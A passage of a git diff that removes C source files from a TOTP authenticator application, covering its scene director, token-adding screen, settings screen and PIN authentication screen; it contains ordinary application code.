scene activation method - */ -void totp_scene_director_activate_scene(PluginState* const plugin_state, Scene scene); - -/** - * @brief Deactivate current scene - * @param plugin_state application state - */ -void totp_scene_director_deactivate_active_scene(PluginState* const plugin_state); - -/** - * @brief Renders current scene - * @param canvas canvas to render at - * @param plugin_state application state - */ -void totp_scene_director_render(Canvas* const canvas, PluginState* const plugin_state); - -/** - * @brief Handles application event for the current scene - * @param event event to be handled - * @param plugin_state application state - * @return \c true if event handled and applilcation should continue; \c false if application should be closed - */ -bool totp_scene_director_handle_event(PluginEvent* const event, PluginState* const plugin_state); - -/** - * @brief Forces screen to be redraw\updated - * @param plugin_state application state - */ -void totp_scene_director_force_redraw(PluginState* const plugin_state); \ No newline at end of file diff --git a/applications/external/totp/ui/scenes/add_new_token/totp_input_text.c b/applications/external/totp/ui/scenes/add_new_token/totp_input_text.c deleted file mode 100644 index 95aa4fbaa..000000000 --- a/applications/external/totp/ui/scenes/add_new_token/totp_input_text.c +++ /dev/null @@ -1,52 +0,0 @@ -#include "totp_input_text.h" - -#include -#include - -typedef struct { - InputTextResult* result; - ViewDispatcher* view_dispatcher; -} InputTextContext; - -static void commit_text_input_callback(void* ctx) { - InputTextContext* context = ctx; - context->result->user_input_length = strnlen(context->result->user_input, INPUT_BUFFER_SIZE); - context->result->success = true; - view_dispatcher_stop(context->view_dispatcher); -} - -static bool back_event_callback(void* ctx) { - InputTextContext* context = ctx; - context->result->success = false; - view_dispatcher_stop(context->view_dispatcher); - return false; -} - -void totp_input_text(Gui* gui, const char* header_text, InputTextResult* result) { - ViewDispatcher* view_dispatcher = view_dispatcher_alloc(); - TextInput* text_input = text_input_alloc(); - InputTextContext context = {.result = result, .view_dispatcher = view_dispatcher}; - text_input_set_header_text(text_input, header_text); - text_input_set_result_callback( - text_input, - commit_text_input_callback, - &context, - result->user_input, - INPUT_BUFFER_SIZE, - true); - - view_dispatcher_enable_queue(view_dispatcher); - view_dispatcher_add_view(view_dispatcher, 0, text_input_get_view(text_input)); - - view_dispatcher_attach_to_gui(view_dispatcher, gui, ViewDispatcherTypeFullscreen); - - view_dispatcher_set_navigation_event_callback(view_dispatcher, &back_event_callback); - view_dispatcher_set_event_callback_context(view_dispatcher, &context); - view_dispatcher_switch_to_view(view_dispatcher, 0); - - view_dispatcher_run(view_dispatcher); - - view_dispatcher_remove_view(view_dispatcher, 0); - view_dispatcher_free(view_dispatcher); - text_input_free(text_input); -} diff --git a/applications/external/totp/ui/scenes/add_new_token/totp_input_text.h b/applications/external/totp/ui/scenes/add_new_token/totp_input_text.h deleted file mode 100644 index 7ec116a9b..000000000 --- a/applications/external/totp/ui/scenes/add_new_token/totp_input_text.h +++ /dev/null @@ -1,13 +0,0 @@ -#pragma once - -#include - -#define INPUT_BUFFER_SIZE (255) - -typedef struct { - char user_input[INPUT_BUFFER_SIZE]; - size_t user_input_length; - bool success; -} InputTextResult; - -void totp_input_text(Gui* gui, const char* header_text, InputTextResult* result); diff --git a/applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.c b/applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.c deleted file mode 100644 index 6ae288d4c..000000000 --- a/applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.c +++ /dev/null @@ -1,320 +0,0 @@ -#include "totp_scene_add_new_token.h" -#include "../../../types/common.h" -#include "../../constants.h" -#include "../../scene_director.h" -#include "totp_input_text.h" -#include "../../../types/token_info.h" -#include "../../../services/config/config.h" -#include "../../ui_controls.h" -#include "../../common_dialogs.h" -#include -#include "../generate_token/totp_scene_generate_token.h" - -char* TOKEN_ALGO_LIST[] = {"SHA1", "SHA256", "SHA512", "Steam"}; -char* TOKEN_DIGITS_TEXT_LIST[] = {"5 digits", "6 digits", "8 digits"}; -TokenDigitsCount TOKEN_DIGITS_VALUE_LIST[] = { - TokenDigitsCountFive, - TokenDigitsCountSix, - TokenDigitsCountEight}; - -typedef enum { - TokenNameTextBox, - TokenSecretTextBox, - TokenAlgoSelect, - TokenLengthSelect, - TokenDurationSelect, - ConfirmButton, -} Control; - -typedef struct { - char* token_name; - size_t token_name_length; - char* token_secret; - size_t token_secret_length; - bool saved; - Control selected_control; - int16_t screen_y_offset; - TokenHashAlgo algo; - uint8_t digits_count_index; - uint8_t duration; - FuriString* duration_text; -} SceneState; - -struct TotpAddContext { - SceneState* scene_state; - const CryptoSettings* crypto_settings; -}; - -enum TotpIteratorUpdateTokenResultsEx { TotpIteratorUpdateTokenResultInvalidSecret = 1 }; - -static void update_duration_text(SceneState* scene_state) { - furi_string_printf(scene_state->duration_text, "%d sec.", scene_state->duration); -} - -static TotpIteratorUpdateTokenResult add_token_handler(TokenInfo* tokenInfo, const void* context) { - const struct TotpAddContext* context_t = context; - if(!token_info_set_secret( - tokenInfo, - context_t->scene_state->token_secret, - context_t->scene_state->token_secret_length, - PlainTokenSecretEncodingBase32, - context_t->crypto_settings)) { - return TotpIteratorUpdateTokenResultInvalidSecret; - } - - furi_string_set_strn( - tokenInfo->name, - context_t->scene_state->token_name, - context_t->scene_state->token_name_length + 1); - tokenInfo->algo = context_t->scene_state->algo; - tokenInfo->digits = TOKEN_DIGITS_VALUE_LIST[context_t->scene_state->digits_count_index]; - tokenInfo->duration = context_t->scene_state->duration; - - return TotpIteratorUpdateTokenResultSuccess; -} - -static void ask_user_input( - const PluginState* plugin_state, - const char* header, - char** user_input, - size_t* user_input_length) { - InputTextResult input_result; - if(*user_input != NULL) { - strlcpy(input_result.user_input, *user_input, INPUT_BUFFER_SIZE); - } - - totp_input_text(plugin_state->gui, header, &input_result); - if(input_result.success) { - if(*user_input != NULL) { - free(*user_input); - } - *user_input = strdup(input_result.user_input); - *user_input_length = input_result.user_input_length; - } -} - -void totp_scene_add_new_token_activate(PluginState* plugin_state) { - SceneState* scene_state = malloc(sizeof(SceneState)); - furi_check(scene_state != NULL); - plugin_state->current_scene_state = scene_state; - scene_state->token_name = "Name"; - scene_state->token_name_length = strlen(scene_state->token_name); - scene_state->token_secret = "Secret"; - scene_state->token_secret_length = strlen(scene_state->token_secret); - - scene_state->screen_y_offset = 0; - - scene_state->digits_count_index = 1; - - scene_state->duration = TokenDurationDefault; - scene_state->duration_text = furi_string_alloc(); - update_duration_text(scene_state); -} - -void totp_scene_add_new_token_render(Canvas* const canvas, const PluginState* plugin_state) { - const SceneState* scene_state = plugin_state->current_scene_state; - - ui_control_text_box_render( - canvas, - 10 - scene_state->screen_y_offset, - scene_state->token_name, - scene_state->selected_control == TokenNameTextBox); - ui_control_text_box_render( - canvas, - 27 - scene_state->screen_y_offset, - scene_state->token_secret, - scene_state->selected_control == TokenSecretTextBox); - ui_control_select_render( - canvas, - 0, - 44 - scene_state->screen_y_offset, - SCREEN_WIDTH, - TOKEN_ALGO_LIST[scene_state->algo], - scene_state->selected_control == TokenAlgoSelect); - ui_control_select_render( - canvas, - 0, - 61 - scene_state->screen_y_offset, - SCREEN_WIDTH, - TOKEN_DIGITS_TEXT_LIST[scene_state->digits_count_index], - scene_state->selected_control == TokenLengthSelect); - - ui_control_select_render( - canvas, - 0, - 78 - scene_state->screen_y_offset, - SCREEN_WIDTH, - furi_string_get_cstr(scene_state->duration_text), - scene_state->selected_control == TokenDurationSelect); - - ui_control_button_render( - canvas, - SCREEN_WIDTH_CENTER - 24, - 101 - scene_state->screen_y_offset, - 48, - 13, - "Confirm", - scene_state->selected_control == ConfirmButton); - - canvas_set_color(canvas, ColorWhite); - canvas_draw_box(canvas, 0, 0, SCREEN_WIDTH, 10); - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 0, 0, AlignLeft, AlignTop, "Add new token"); - canvas_set_font(canvas, FontSecondary); -} - -void update_screen_y_offset(SceneState* scene_state) { - if(scene_state->selected_control > TokenLengthSelect) { - scene_state->screen_y_offset = 51; - } else if(scene_state->selected_control > TokenAlgoSelect) { - scene_state->screen_y_offset = 34; - } else if(scene_state->selected_control > TokenSecretTextBox) { - scene_state->screen_y_offset = 17; - } else { - scene_state->screen_y_offset = 0; - } -} - -bool totp_scene_add_new_token_handle_event( - const PluginEvent* const event, - PluginState* plugin_state) { - if(event->type != EventTypeKey) { - return true; - } - - SceneState* scene_state = plugin_state->current_scene_state; - - if(event->input.type == InputTypePress) { - switch(event->input.key) { - case InputKeyUp: - totp_roll_value_uint8_t( - &scene_state->selected_control, - -1, - TokenNameTextBox, - ConfirmButton, - RollOverflowBehaviorStop); - update_screen_y_offset(scene_state); - break; - case InputKeyDown: - totp_roll_value_uint8_t( - &scene_state->selected_control, - 1, - TokenNameTextBox, - ConfirmButton, - RollOverflowBehaviorStop); - update_screen_y_offset(scene_state); - break; - case InputKeyRight: - if(scene_state->selected_control == TokenAlgoSelect) { - totp_roll_value_uint8_t( - &scene_state->algo, - 1, - TokenHashAlgoSha1, - TokenHashAlgoSteam, - RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == TokenLengthSelect) { - totp_roll_value_uint8_t( - &scene_state->digits_count_index, 1, 0, 2, RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == TokenDurationSelect) { - totp_roll_value_uint8_t( - &scene_state->duration, 15, 15, 255, RollOverflowBehaviorStop); - update_duration_text(scene_state); - } - break; - case InputKeyLeft: - if(scene_state->selected_control == TokenAlgoSelect) { - totp_roll_value_uint8_t( - &scene_state->algo, - -1, - TokenHashAlgoSha1, - TokenHashAlgoSteam, - RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == TokenLengthSelect) { - totp_roll_value_uint8_t( - &scene_state->digits_count_index, -1, 0, 2, RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == TokenDurationSelect) { - totp_roll_value_uint8_t( - &scene_state->duration, -15, 15, 255, RollOverflowBehaviorStop); - update_duration_text(scene_state); - } - break; - case InputKeyOk: - break; - case InputKeyBack: - totp_scene_director_activate_scene(plugin_state, TotpSceneGenerateToken); - break; - default: - break; - } - } else if(event->input.type == InputTypeRelease && event->input.key == InputKeyOk) { - switch(scene_state->selected_control) { - case TokenNameTextBox: - ask_user_input( - plugin_state, - "Token name", - &scene_state->token_name, - &scene_state->token_name_length); - break; - case TokenSecretTextBox: - ask_user_input( - plugin_state, - "Token secret", - &scene_state->token_secret, - &scene_state->token_secret_length); - break; - case TokenAlgoSelect: - break; - case TokenLengthSelect: - break; - case TokenDurationSelect: - break; - case ConfirmButton: { - struct TotpAddContext add_context = { - .scene_state = scene_state, .crypto_settings = &plugin_state->crypto_settings}; - TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - TotpIteratorUpdateTokenResult add_result = totp_token_info_iterator_add_new_token( - iterator_context, &add_token_handler, &add_context); - - if(add_result == TotpIteratorUpdateTokenResultSuccess) { - totp_scene_director_activate_scene(plugin_state, TotpSceneGenerateToken); - } else if(add_result == TotpIteratorUpdateTokenResultInvalidSecret) { - DialogMessage* message = dialog_message_alloc(); - dialog_message_set_buttons(message, "Back", NULL, NULL); - dialog_message_set_text( - message, - "Token secret is invalid", - SCREEN_WIDTH_CENTER, - SCREEN_HEIGHT_CENTER, - AlignCenter, - AlignCenter); - dialog_message_show(plugin_state->dialogs_app, message); - dialog_message_free(message); - scene_state->selected_control = TokenSecretTextBox; - update_screen_y_offset(scene_state); - } else if(add_result == TotpIteratorUpdateTokenResultFileUpdateFailed) { - totp_dialogs_config_updating_error(plugin_state); - } - - break; - } - default: - break; - } - } - - return true; -} - -void totp_scene_add_new_token_deactivate(PluginState* plugin_state) { - if(plugin_state->current_scene_state == NULL) return; - SceneState* scene_state = (SceneState*)plugin_state->current_scene_state; - free(scene_state->token_name); - free(scene_state->token_secret); - - furi_string_free(scene_state->duration_text); - - free(plugin_state->current_scene_state); - plugin_state->current_scene_state = NULL; -} diff --git a/applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.h b/applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.h deleted file mode 100644 index 7297869d0..000000000 --- a/applications/external/totp/ui/scenes/add_new_token/totp_scene_add_new_token.h +++ /dev/null @@ -1,12 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" -#include "../../../types/plugin_event.h" - -void totp_scene_add_new_token_activate(PluginState* plugin_state); -void totp_scene_add_new_token_render(Canvas* const canvas, const PluginState* plugin_state); -bool totp_scene_add_new_token_handle_event( - const PluginEvent* const event, - PluginState* plugin_state); -void totp_scene_add_new_token_deactivate(PluginState* plugin_state); diff --git a/applications/external/totp/ui/scenes/app_settings/totp_app_settings.c b/applications/external/totp/ui/scenes/app_settings/totp_app_settings.c deleted file mode 100644 index 33dcd5b43..000000000 --- a/applications/external/totp/ui/scenes/app_settings/totp_app_settings.c +++ /dev/null @@ -1,374 +0,0 @@ -#include "totp_app_settings.h" -#include -#include -#include -#include "../../canvas_extensions.h" -#include "../../ui_controls.h" -#include "../../common_dialogs.h" -#include "../../scene_director.h" -#include "../token_menu/totp_scene_token_menu.h" -#include "../../constants.h" -#include "../../../services/config/config.h" -#include "../../../services/convert/convert.h" -#include -#include "../../../features_config.h" -#ifdef TOTP_BADBT_AUTOMATION_ENABLED -#include "../../../workers/bt_type_code/bt_type_code.h" -#endif - -#ifdef TOTP_BADBT_AUTOMATION_ENABLED -#define AUTOMATION_LIST_MAX_INDEX (3) -#else -#define AUTOMATION_LIST_MAX_INDEX (1) -#endif -#define BAD_KB_LAYOUT_LIST_MAX_INDEX (1) -#define FONT_TEST_STR_LENGTH (7) - -static const char* YES_NO_LIST[] = {"NO", "YES"}; -static const char* AUTOMATION_LIST[] = { - "None", - "USB" -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - , - "Bluetooth", - "BT and USB" -#endif -}; -static const char* BAD_KB_LAYOUT_LIST[] = {"QWERTY", "AZERTY"}; -static const char* FONT_TEST_STR = "0123BCD"; - -typedef enum { - HoursInput, - MinutesInput, - FontSelect, - SoundSwitch, - VibroSwitch, - AutomationSwitch, - BadKeyboardLayoutSelect, - ConfirmButton -} Control; - -typedef struct { - int8_t tz_offset_hours; - uint8_t tz_offset_minutes; - bool notification_sound; - bool notification_vibro; - AutomationMethod automation_method; - uint16_t y_offset; - AutomationKeyboardLayout automation_kb_layout; - Control selected_control; - uint8_t active_font; -} SceneState; - -void totp_scene_app_settings_activate(PluginState* plugin_state) { - SceneState* scene_state = malloc(sizeof(SceneState)); - furi_check(scene_state != NULL); - plugin_state->current_scene_state = scene_state; - - float off_int; - float off_dec = modff(plugin_state->timezone_offset, &off_int); - scene_state->tz_offset_hours = off_int; - scene_state->tz_offset_minutes = 60.0f * off_dec; - scene_state->notification_sound = plugin_state->notification_method & NotificationMethodSound; - scene_state->notification_vibro = plugin_state->notification_method & NotificationMethodVibro; - scene_state->automation_method = - MIN(plugin_state->automation_method, AUTOMATION_LIST_MAX_INDEX); - scene_state->automation_kb_layout = - MIN(plugin_state->automation_kb_layout, BAD_KB_LAYOUT_LIST_MAX_INDEX); - - scene_state->active_font = plugin_state->active_font_index; -} - -static void two_digit_to_str(int8_t num, char* str) { - char* s = str; - if(num < 0) { - *(s++) = '-'; - num = -num; - } - - uint8_t d1 = (num / 10) % 10; - uint8_t d2 = num % 10; - *(s++) = CONVERT_DIGIT_TO_CHAR(d1); - *(s++) = CONVERT_DIGIT_TO_CHAR(d2); - *(s++) = '\0'; -} - -void totp_scene_app_settings_render(Canvas* const canvas, const PluginState* plugin_state) { - const SceneState* scene_state = plugin_state->current_scene_state; - if(scene_state->selected_control < FontSelect) { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned( - canvas, 0, 0 - scene_state->y_offset, AlignLeft, AlignTop, "Timezone offset"); - canvas_set_font(canvas, FontSecondary); - - char tmp_str[4]; - two_digit_to_str(scene_state->tz_offset_hours, &tmp_str[0]); - canvas_draw_str_aligned( - canvas, 0, 17 - scene_state->y_offset, AlignLeft, AlignTop, "Hours:"); - ui_control_select_render( - canvas, - 36, - 10 - scene_state->y_offset, - SCREEN_WIDTH - 36 - UI_CONTROL_VSCROLL_WIDTH, - &tmp_str[0], - scene_state->selected_control == HoursInput); - - two_digit_to_str(scene_state->tz_offset_minutes, &tmp_str[0]); - canvas_draw_str_aligned( - canvas, 0, 35 - scene_state->y_offset, AlignLeft, AlignTop, "Minutes:"); - ui_control_select_render( - canvas, - 36, - 28 - scene_state->y_offset, - SCREEN_WIDTH - 36 - UI_CONTROL_VSCROLL_WIDTH, - &tmp_str[0], - scene_state->selected_control == MinutesInput); - - } else if(scene_state->selected_control < SoundSwitch) { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned( - canvas, 0, 64 - scene_state->y_offset, AlignLeft, AlignTop, "Font"); - canvas_set_font(canvas, FontSecondary); - - const FONT_INFO* const font = available_fonts[scene_state->active_font]; - ui_control_select_render( - canvas, - 0, - 74 - scene_state->y_offset, - SCREEN_WIDTH - UI_CONTROL_VSCROLL_WIDTH, - font->name, - scene_state->selected_control == FontSelect); - - uint8_t font_x_offset = - SCREEN_WIDTH_CENTER - - (((font->charInfo[0].width + font->spacePixels) * FONT_TEST_STR_LENGTH) >> 1); - uint8_t font_y_offset = 108 - scene_state->y_offset - (font->height >> 1); - canvas_draw_str_ex( - canvas, font_x_offset, font_y_offset, FONT_TEST_STR, FONT_TEST_STR_LENGTH, font); - - } else if(scene_state->selected_control < AutomationSwitch) { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned( - canvas, 0, 128 - scene_state->y_offset, AlignLeft, AlignTop, "Notifications"); - canvas_set_font(canvas, FontSecondary); - - canvas_draw_str_aligned( - canvas, 0, 145 - scene_state->y_offset, AlignLeft, AlignTop, "Sound:"); - ui_control_select_render( - canvas, - 36, - 138 - scene_state->y_offset, - SCREEN_WIDTH - 36 - UI_CONTROL_VSCROLL_WIDTH, - YES_NO_LIST[scene_state->notification_sound], - scene_state->selected_control == SoundSwitch); - - canvas_draw_str_aligned( - canvas, 0, 163 - scene_state->y_offset, AlignLeft, AlignTop, "Vibro:"); - ui_control_select_render( - canvas, - 36, - 156 - scene_state->y_offset, - SCREEN_WIDTH - 36 - UI_CONTROL_VSCROLL_WIDTH, - YES_NO_LIST[scene_state->notification_vibro], - scene_state->selected_control == VibroSwitch); - } else { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned( - canvas, 0, 192 - scene_state->y_offset, AlignLeft, AlignTop, "Automation"); - canvas_set_font(canvas, FontSecondary); - - canvas_draw_str_aligned( - canvas, 0, 209 - scene_state->y_offset, AlignLeft, AlignTop, "Method:"); - ui_control_select_render( - canvas, - 36, - 202 - scene_state->y_offset, - SCREEN_WIDTH - 36 - UI_CONTROL_VSCROLL_WIDTH, - AUTOMATION_LIST[scene_state->automation_method], - scene_state->selected_control == AutomationSwitch); - - canvas_draw_str_aligned( - canvas, 0, 227 - scene_state->y_offset, AlignLeft, AlignTop, "Layout:"); - - ui_control_select_render( - canvas, - 36, - 220 - scene_state->y_offset, - SCREEN_WIDTH - 36 - UI_CONTROL_VSCROLL_WIDTH, - BAD_KB_LAYOUT_LIST[scene_state->automation_kb_layout], - scene_state->selected_control == BadKeyboardLayoutSelect); - - ui_control_button_render( - canvas, - SCREEN_WIDTH_CENTER - 24, - 242 - scene_state->y_offset, - 48, - 13, - "Confirm", - scene_state->selected_control == ConfirmButton); - } - - ui_control_vscroll_render( - canvas, SCREEN_WIDTH - 3, 0, SCREEN_HEIGHT, scene_state->selected_control, ConfirmButton); -} - -bool totp_scene_app_settings_handle_event( - const PluginEvent* const event, - PluginState* plugin_state) { - if(event->type != EventTypeKey) { - return true; - } - - SceneState* scene_state = (SceneState*)plugin_state->current_scene_state; - if(event->input.type == InputTypePress || event->input.type == InputTypeRepeat) { - switch(event->input.key) { - case InputKeyUp: - totp_roll_value_uint8_t( - &scene_state->selected_control, - -1, - HoursInput, - ConfirmButton, - RollOverflowBehaviorStop); - if(scene_state->selected_control > VibroSwitch) { - scene_state->y_offset = SCREEN_HEIGHT * 3; - } else if(scene_state->selected_control > FontSelect) { - scene_state->y_offset = SCREEN_HEIGHT * 2; - } else if(scene_state->selected_control > MinutesInput) { - scene_state->y_offset = SCREEN_HEIGHT; - } else { - scene_state->y_offset = 0; - } - break; - case InputKeyDown: - totp_roll_value_uint8_t( - &scene_state->selected_control, - 1, - HoursInput, - ConfirmButton, - RollOverflowBehaviorStop); - if(scene_state->selected_control > VibroSwitch) { - scene_state->y_offset = SCREEN_HEIGHT * 3; - } else if(scene_state->selected_control > FontSelect) { - scene_state->y_offset = SCREEN_HEIGHT * 2; - } else if(scene_state->selected_control > MinutesInput) { - scene_state->y_offset = SCREEN_HEIGHT; - } else { - scene_state->y_offset = 0; - } - break; - case InputKeyRight: - if(scene_state->selected_control == HoursInput) { - totp_roll_value_int8_t( - &scene_state->tz_offset_hours, 1, -12, 12, RollOverflowBehaviorStop); - } else if(scene_state->selected_control == MinutesInput) { - totp_roll_value_uint8_t( - &scene_state->tz_offset_minutes, 15, 0, 45, RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == FontSelect) { - totp_roll_value_uint8_t( - &scene_state->active_font, - 1, - 0, - AVAILABLE_FONTS_COUNT - 1, - RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == SoundSwitch) { - scene_state->notification_sound = !scene_state->notification_sound; - } else if(scene_state->selected_control == VibroSwitch) { - scene_state->notification_vibro = !scene_state->notification_vibro; - } else if(scene_state->selected_control == AutomationSwitch) { - totp_roll_value_uint8_t( - &scene_state->automation_method, - 1, - 0, - AUTOMATION_LIST_MAX_INDEX, - RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == BadKeyboardLayoutSelect) { - totp_roll_value_uint8_t( - &scene_state->automation_kb_layout, - 1, - 0, - BAD_KB_LAYOUT_LIST_MAX_INDEX, - RollOverflowBehaviorRoll); - } - break; - case InputKeyLeft: - if(scene_state->selected_control == HoursInput) { - totp_roll_value_int8_t( - &scene_state->tz_offset_hours, -1, -12, 12, RollOverflowBehaviorStop); - } else if(scene_state->selected_control == MinutesInput) { - totp_roll_value_uint8_t( - &scene_state->tz_offset_minutes, -15, 0, 45, RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == FontSelect) { - totp_roll_value_uint8_t( - &scene_state->active_font, - -1, - 0, - AVAILABLE_FONTS_COUNT - 1, - RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == SoundSwitch) { - scene_state->notification_sound = !scene_state->notification_sound; - } else if(scene_state->selected_control == VibroSwitch) { - scene_state->notification_vibro = !scene_state->notification_vibro; - } else if(scene_state->selected_control == AutomationSwitch) { - totp_roll_value_uint8_t( - &scene_state->automation_method, - -1, - 0, - AUTOMATION_LIST_MAX_INDEX, - RollOverflowBehaviorRoll); - } else if(scene_state->selected_control == BadKeyboardLayoutSelect) { - totp_roll_value_uint8_t( - &scene_state->automation_kb_layout, - -1, - 0, - BAD_KB_LAYOUT_LIST_MAX_INDEX, - RollOverflowBehaviorRoll); - } - break; - case InputKeyOk: - break; - case InputKeyBack: { - totp_scene_director_activate_scene(plugin_state, TotpSceneTokenMenu); - break; - } - default: - break; - } - } else if( - event->input.type == InputTypeRelease && event->input.key == InputKeyOk && - scene_state->selected_control == ConfirmButton) { - plugin_state->timezone_offset = - (float)scene_state->tz_offset_hours + (float)scene_state->tz_offset_minutes / 60.0f; - - plugin_state->notification_method = - (scene_state->notification_sound ? NotificationMethodSound : NotificationMethodNone) | - (scene_state->notification_vibro ? NotificationMethodVibro : NotificationMethodNone); - - plugin_state->automation_method = scene_state->automation_method; - plugin_state->active_font_index = scene_state->active_font; - plugin_state->automation_kb_layout = scene_state->automation_kb_layout; - - if(!totp_config_file_update_user_settings(plugin_state)) { - totp_dialogs_config_updating_error(plugin_state); - return false; - } - -#ifdef TOTP_BADBT_AUTOMATION_ENABLED - if((scene_state->automation_method & AutomationMethodBadBt) == 0 && - plugin_state->bt_type_code_worker_context != NULL) { - totp_bt_type_code_worker_free(plugin_state->bt_type_code_worker_context); - plugin_state->bt_type_code_worker_context = NULL; - } -#endif - - totp_scene_director_activate_scene(plugin_state, TotpSceneTokenMenu); - } - - return true; -} - -void totp_scene_app_settings_deactivate(PluginState* plugin_state) { - if(plugin_state->current_scene_state == NULL) return; - - free(plugin_state->current_scene_state); - plugin_state->current_scene_state = NULL; -} diff --git a/applications/external/totp/ui/scenes/app_settings/totp_app_settings.h b/applications/external/totp/ui/scenes/app_settings/totp_app_settings.h deleted file mode 100644 index e54aab87b..000000000 --- a/applications/external/totp/ui/scenes/app_settings/totp_app_settings.h +++ /dev/null @@ -1,12 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" -#include "../../../types/plugin_event.h" - -void totp_scene_app_settings_activate(PluginState* plugin_state); -void totp_scene_app_settings_render(Canvas* const canvas, const PluginState* plugin_state); -bool totp_scene_app_settings_handle_event( - const PluginEvent* const event, - PluginState* plugin_state); -void totp_scene_app_settings_deactivate(PluginState* plugin_state); \ No newline at end of file diff --git a/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.c b/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.c deleted file mode 100644 index ea407395a..000000000 --- a/applications/external/totp/ui/scenes/authenticate/totp_scene_authenticate.c +++ /dev/null @@ -1,166 +0,0 @@ -#include "totp_scene_authenticate.h" -#include -#include -#include "../../../types/common.h" -#include "../../constants.h" -#include "../../../services/config/config.h" -#include "../../scene_director.h" -#include "../../totp_scenes_enum.h" -#include "../../../services/crypto/crypto_facade.h" -#include "../../../types/user_pin_codes.h" - -#define MAX_CODE_LENGTH CRYPTO_IV_LENGTH -static const uint8_t PIN_ASTERISK_RADIUS = 3; -static const uint8_t PIN_ASTERISK_STEP = (PIN_ASTERISK_RADIUS << 1) + 2; - -typedef struct { - TotpUserPinCode code_input[MAX_CODE_LENGTH]; - uint8_t code_length; -} SceneState; - -void totp_scene_authenticate_activate(PluginState* plugin_state) { - SceneState* scene_state = malloc(sizeof(SceneState)); - furi_check(scene_state != NULL); - scene_state->code_length = 0; - memset(&scene_state->code_input[0], 0, MAX_CODE_LENGTH); - plugin_state->current_scene_state = scene_state; - memset(&plugin_state->crypto_settings.iv[0], 0, CRYPTO_IV_LENGTH); -} - -void totp_scene_authenticate_render(Canvas* const canvas, PluginState* plugin_state) { - const SceneState* scene_state = (SceneState*)plugin_state->current_scene_state; - - int v_shift = 0; - if(scene_state->code_length > 0) { - v_shift = -10; - } - - if(plugin_state->crypto_settings.crypto_verify_data == NULL) { - canvas_draw_str_aligned( - canvas, - SCREEN_WIDTH_CENTER, - SCREEN_HEIGHT_CENTER - 10 + v_shift, - AlignCenter, - AlignCenter, - "Use arrow keys"); - canvas_draw_str_aligned( - canvas, - SCREEN_WIDTH_CENTER, - SCREEN_HEIGHT_CENTER + 5 + v_shift, - AlignCenter, - AlignCenter, - "to setup new PIN"); - } else { - canvas_draw_str_aligned( - canvas, - SCREEN_WIDTH_CENTER, - SCREEN_HEIGHT_CENTER + v_shift, - AlignCenter, - AlignCenter, - "Use arrow keys to enter PIN"); - } - - if(scene_state->code_length > 0) { - uint8_t left_start_x = ((scene_state->code_length - 1) * PIN_ASTERISK_STEP) >> 1; - for(uint8_t i = 0; i < scene_state->code_length; i++) { - canvas_draw_disc( - canvas, - SCREEN_WIDTH_CENTER - left_start_x + i * PIN_ASTERISK_STEP, - SCREEN_HEIGHT_CENTER + 10, - PIN_ASTERISK_RADIUS); - } - } -} - -bool totp_scene_authenticate_handle_event( - const PluginEvent* const event, - PluginState* plugin_state) { - if(event->type != EventTypeKey) { - return true; - } - - if(event->input.type == InputTypeLong && event->input.key == InputKeyBack) { - return false; - } - - SceneState* scene_state = plugin_state->current_scene_state; - if(event->input.type == InputTypePress) { - switch(event->input.key) { - case InputKeyUp: - if(scene_state->code_length < MAX_CODE_LENGTH) { - scene_state->code_input[scene_state->code_length] = PinCodeArrowUp; - scene_state->code_length++; - } - break; - case InputKeyDown: - if(scene_state->code_length < MAX_CODE_LENGTH) { - scene_state->code_input[scene_state->code_length] = PinCodeArrowDown; - scene_state->code_length++; - } - break; - case InputKeyRight: - if(scene_state->code_length < MAX_CODE_LENGTH) { - scene_state->code_input[scene_state->code_length] = PinCodeArrowRight; - scene_state->code_length++; - } - break; - case InputKeyLeft: - if(scene_state->code_length < MAX_CODE_LENGTH) { - scene_state->code_input[scene_state->code_length] = PinCodeArrowLeft; - scene_state->code_length++; - } - break; - case InputKeyOk: - break; - case InputKeyBack: - if(scene_state->code_length > 0) { - scene_state->code_input[scene_state->code_length - 1] = 0; - scene_state->code_length--; - } - break; - default: - break; - } - } else if(event->input.type == InputTypeRelease && event->input.key == InputKeyOk) { - CryptoSeedIVResult seed_result = totp_crypto_seed_iv( - &plugin_state->crypto_settings, &scene_state->code_input[0], scene_state->code_length); - - if(seed_result & CryptoSeedIVResultFlagSuccess && - seed_result & CryptoSeedIVResultFlagNewCryptoVerifyData) { - totp_config_file_update_crypto_signatures(plugin_state); - } - - if(totp_crypto_verify_key(&plugin_state->crypto_settings)) { - FURI_LOG_D(LOGGING_TAG, "PIN is valid"); - totp_config_file_ensure_latest_encryption( - plugin_state, &scene_state->code_input[0], scene_state->code_length); - totp_scene_director_activate_scene(plugin_state, TotpSceneGenerateToken); - } else { - FURI_LOG_D(LOGGING_TAG, "PIN is NOT valid"); - memset(&scene_state->code_input[0], 0, MAX_CODE_LENGTH); - memset(&plugin_state->crypto_settings.iv[0], 0, CRYPTO_IV_LENGTH); - scene_state->code_length = 0; - - DialogMessage* message = dialog_message_alloc(); - dialog_message_set_buttons(message, "Try again", NULL, NULL); - dialog_message_set_header( - message, - "You entered\ninvalid PIN", - SCREEN_WIDTH_CENTER - 25, - 